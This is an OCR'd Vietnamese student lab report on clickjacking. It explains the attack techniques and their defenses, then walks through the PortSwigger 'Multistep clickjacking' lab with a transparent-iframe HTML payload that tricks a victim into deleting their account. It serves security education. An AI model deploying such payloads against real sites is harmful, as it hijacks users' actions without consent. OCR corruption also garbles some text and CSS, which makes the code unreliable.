Khai niém Clickjacking là một hình thức tấn công đánh lừa người đùng nhấp chuột vô ý vào một đối tượng trên website.. Khi nhấp chuột vào một đối tượng trên màn hình, người dùng nghĩ la
Trang 1
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIÊN THÔNG
KHOA AN TOÀN THÔNG TIN
wane _————S—————e
BÀI TẬP THỰC HÀNH
AN TOÀN ỨNG DỤNG WEB VÀ
CƠ SỞ DỮ LIỆU
Khai thác lỗ hồng
Multistep clickjacking
Trang 2MỤC LỤC
LoL Kmnat nt@im HH Ha 3
I9) 0 /(iẶẮẶẮẶỶÝÁÝỶÝỶ 3
ID Côn (voi (dÓ66“aasaaiiaảiiắaắŸÝ 4 1.2.3 StrokeJacking - - - 1 2.1020 1120112111211 1511111111111 11111111111 1111k HH nh 5
IEENyL.0i)).6ảÝŸÝ 5
1.3.1 Clickjacking -> Sensitive Click-Based Action -c c2 22x22 5 1.3.2 ClickJacking -> Form Ïnput - - - + 2: 22212221121 1121 1123111511 1511 151115111 ce 5 1.3.3 Clickjacking -> Non-Sensitive ÂctIOn - Q2 1 2.12201121112112 11111 ray 6 1.4 Cách phòng chống - - S1 21 1111111111 112112111 1 1112121111010 yeu 6
IE SP Củy.¡ìì: 9s 6 1.4.2 Content Security PoÌIcy L1 2011020 11211121112111111 1111111111811 81 ky ra 6 1.4.3 Frame-Kalltng — 6
2
Trang 3PHAN 1: LY THUYET
PHAN 1: LY THUYET
1.1 Khai niém
Clickjacking là một hình thức tấn công đánh lừa người đùng nhấp chuột vô ý vào một
đối tượng trên website Khi nhấp chuột vào một đối tượng trên màn hình, người dùng nghĩ
la minh dang click vao đối tượng đó nhưng thực chất họ đang bị lừa cliek vào một đối tượng
đã bị làm mờ hay ân đi Kẻ tân công có thế sử đụng kỹ thuật tan công này cho nhiều mục đích Đánh cắp tài khoản người đùng, lừa click vào quảng cáo đề kiếm tiền, lừa like page hoặc nguy hiểm hơn là cài một webshell lên máy chủ web
xì"
<>c| ——+a
1.2 Cách tấn công
Sử dụng thuộc tinh CSS opacity (lam cho cac iframe trong suốt) dé che giấu đối tượng web cần click vào và z-index đề hiển thị đối tượng web dùng đề lừa
opacity: 0.1
z-index: -1
Lấy đối tượng dùng đề đánh lừa phủ lên đối tượng mục tiêu và sử dụng thuộc tính CSS pointer-events: none đề vô hiệu hóa thao tác nhấp chuột lên đối tượng dùng đề đánh lừa
3
Trang 4PHAN 1: LY THUYET
pointer-event: none
= = Click Event
74%
1.2.2 Gia mao con trò chuột
An con trỏ chuột thật, thay thế bằng con trỏ chuột giả bằng cách sử dụng thuộc tinh CSS cursor: none va str dung javascript đề mô phỏng sự di chuyên của con trỏ thật
Trang 5
PHẦN 1: LÝ THUYẾT
1.2.3 Strokejacking
Đánh lừa người dùng øõ chuỗi ký tự khi con trỏ chuột đang đặt vào các form nhập dữ liệu Kẻ tấn công có thê lừa người dùng nhập vào một số thông tin không mong muốn vào trang web mục tiêu
Typing Game Bank Transfer
Type what ever screen shows to you Bank Account: 9540
Amount: 3062 USD Xfpog95403poigr06=2kfpx
——w——
1.2.4 Chèn đối tượng mục tiêu khi người dùng đang nhấp chuột
Dé tấn công băng kỹ thuật này, kẻ tấn công có thể lừa người dùng tham gia trò chơi yêu cầu nhấp chuột nhanh nhất
Instructions:
Please click on blue buttons as fast as possible The faster you complete this game the greater your chances to win a $100 prize! If you don't click on a button, the øame will skip it in 10 seconds
Buttons clicked: 17/20
Time elapsed: 27.6 sec
CLICK ME
NW
Bi Like hị
1.3 Hậu quả
1.3.1 Clickjacking > Sensitive Click-Based Action
Đây là mức độ nguy hiểm cao nhất của Clickjacking Trang web mà hacker khai thác
có chứ những nút click mang tính nguy hiểm cao mà không thực hiện xác thực Những nút Click nguy hiểm có thể bao gồm: Xóa tài khoản người dùng, xác thực I giao dịch thông qua | hoa rất ít lần nhấp chuột
Bên cạnh mức độ nguy hiểm, thì hậu quả của lỗi trên thường được đánh mức nguy hiểm là P4 trong trong các chương trình bugbounty và hoàn toàn được chấp nhận là I lỗ hồng được trả tiền thưởng
1.3.2 Clickjacking -> Form Input
Trang web khai thác có chứa chức năng đổi mật khâu nhưng không xác thực lại mật khâu cũ Hacker sẽ loi dung Clickjacking dé lừa người dùng nhập vào l chuỗi ký tự vào form input của trang web mà hacker kiểm soát, nhưng thực chất là đang nhập | mat khau mới và hacker hoàn toàn biết được gia tr của mật khẩu mới đó Như vậy hacker có thể chiếm được tài khoản của nạn nhân
Trang 6PHẦN 1: LÝ THUYẾT
Form input ngoài chức năng đổi mật khâu thì hacker có thê khai thác chức năng đổi email người dùng nếu như không được xác thực đúng cách Bên cạnh đó chức năng đăng nhập cũng có thê được lợi dụng đề khai thác tuy nhiên thì cách tắn công này mang lại hiệu quả không quá cao
1.3.3 Clickjacking > Non-Sensitive Action
Tại mức độ này thì sự nguy hiểm của Clickjacking mang lại là không cao khi trang web đã sử dụng các phương thức xác thực tốt hoặc không chứa những những nút click dẫn tới tác động cụ thể
Hiện tại thì lỗi trên thường được đánh mức nguy hiểm là P5 (mức độ infomation) trong trong các chương trình bugbounty Tuy nhiên không thê chắc chắn trong tương lai trang web đó có thêm các tính năng dẫn tới nguy hiểm hay không nên vẫn tiềm ấn rủi ro 1.4 Cách phòng chống
1.4.1, X-Frame-Options
X-Frame-Options HTTP header co thé ding dé biéu thị có hoặc không cho phép trình duyệt render các thẻ như <frame>, <iframe>, <object> Nó được thiết kế đặc biệt để chong clickjacking
1.4.2, Content Security Policy
Đây là một phần của chuẩn HTML 5 giúp cung cấp phạm bí bảo vệ rộng hơn X- Frame-Opfions header Nó được thiết kế như là cách đề liệt kê các tên miền có thể sử dụng tài nguyên như là stylesheets, fonts, script được phép nhúng
// không cho phép hiển thị trong frame
Content-Security-PoLicy: frame-ancestors 'none '
// chi được hiển thị trên chính website gốc
Content-Security-PoLicy: frame-ancestors 'seLf'
// được phép hiển thị trên các website được chỉ định
Content-Security-PoLicy: frame-ancestors *urix
1.4.3 Frame-Killing
Trên các trình duyệt cũ, cách thường được sử dụng để bảo vệ người dùng khỏi clickjacking là thém frame-killing JavaScript snippet vao pages Khi trang web load, doan code trén sé kiếm tra domain của trang gốc có khớp với đomain của cửa số trình đuyệt hay không, nếu pass qua bước check thì được phép hiễn thị
Trang 7<style>
/* Hide page by default +%/
html { display : none; }
</style>
<script>
if (self == top) {
// Everything checks out, show the page
PHAN 1: LY THUYET
document documentElement.style.display = 'bLock';
} else {
// Break out of the frame
top location = self location;
}
</script>
Đối với php:
header("X-Frame-Options: DENY");
header("Content-Security-PoLicy: frame-ancestors 'none'", false);
Trang 8PHAN 2: THUC HANH
PHAN 2: THUC HANH
Dé bai:
Lab: Multistep clickjacking
@
This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking
on "Click me first" and "Click me next" decoy actions You will need to use two elements for this lab
You can log in to the account yourself using the following credentials: wiener: peter
Note The victim will be using Chrome so test your exploit on that browser
Thực hiện:
Tiến hành truy cập bai lab thay “Not solved”
Web Security Multistep clickjacking ree Academy ee a cary)
This is your server You can use the form below to save an exploit, and send it to the victim
Please note that the victim uses Google Chrome When you test your exploit against yourself, we recommend using Burp's Browser or Chrome
Craft a response
URL: https://exploit-0a690020042493b280de6ba901b400ec.exploit-server.net/exploit
fexploit
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Chèn đoạn mã sau vào phần “Body”
Trang 9PHAN 2: THUC HANH
<style>
iframe {
position: relative;
width: 500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
JirstClick, secondClick {
position:absolute;
top: 500px;
left: SOpx;
z-index: 1;
}
secondClick §
top: 285px;
left: 225 px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://Oaae002804c4935080076ca600 1c009 1 web-security academy.net/my-account"></iframe>
<style>
iframe {
position:relative width: 500px height: 700px
opacity: 0.1 z-index: 2 }
i
firstClick, secondClick {
position:absolute;
top: 500px left: 50px:
z-index: 1
Truy cap trang web exploit lay ID URL
Trang 10PHAN 2: THUC HANH
`
|web-security-academy.net f3 GoogleỐngkính &) x
WebSecurity Multister clickiacking
Acaderryí¿Ì Back ab description
Home | My account
WE LIKE TO —
BLOG —~
mà Son, Chinh stra ID URL vua lay duoc
position:absolute;
top: 500px
left: 50px;
z-index: 1;
}
.secondClick {
top: 285px;
left: 225px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="http: web-security id net/my-account"><fiframe>
Dang nhap thi vao trang web cua victim với username:password là wiener:peter
Login
Username
wiener
Password
Chỉnh sửa đoạn mã vừa chèn vào phần “Body”, khi để opacity(độ mờ) 0 | ta sẽ thấy như bên dưới
10
Trang 11PHAN 2: THUC HANH
Click me next
Click me first
Khi tiễn hành tân công sẽ để opacity 0.00001 để nạn nhân không thấy Kết quả sẽ như bên dưới
11
Trang 12PHAN 2: THUC HANH
Click me next Click me first
Sau khi điều chỉnh các thông số tiến hành gửi trang web cho nạn nhân và ta thấy bài lab
đã được Solved
Web Security Multistep clickjacking
cademy
=) SONS
Congratulations, you solved the lab! Share your skills! yy [f © Continue learning
This is your server You can use the form below to save an exploit, and send it to the victim
Please note that the victim uses Google Chrome When you test your exploit against yourself, we recommend using Burp's Browser or Chrome
Craft a response
URL: https://exploit-0a690020042493b280de6ba90 1 b400ec exploit-server.net/exploit
/exploit
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
12
Trang 13KÉT LUẬN
Lý thuyết:
- _ Tìm hiểu khái niệm, cách tân công, hậu quả, cách phòng chống clickjacking Thực hành:
- Hoan thanh bai Lab trén PortSwigger
Multistep clickjacking >
Web Security Multistep clickjacking
Academy
.-É
Congratulations, you solved the lab!
Share your skills!) yy ff} Continue leaming
This is your server You can use the form below to save an exploit, and send it to the victim
Please note that the victim uses Google Chrome When you test your exploit against yourself, we recommend using Burp's Browser or Chrome
Craft a response
URL: https://exploit-0a690020042493b280de6ba901b400ec.exploit-server.net/exploit
‘exploit
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
13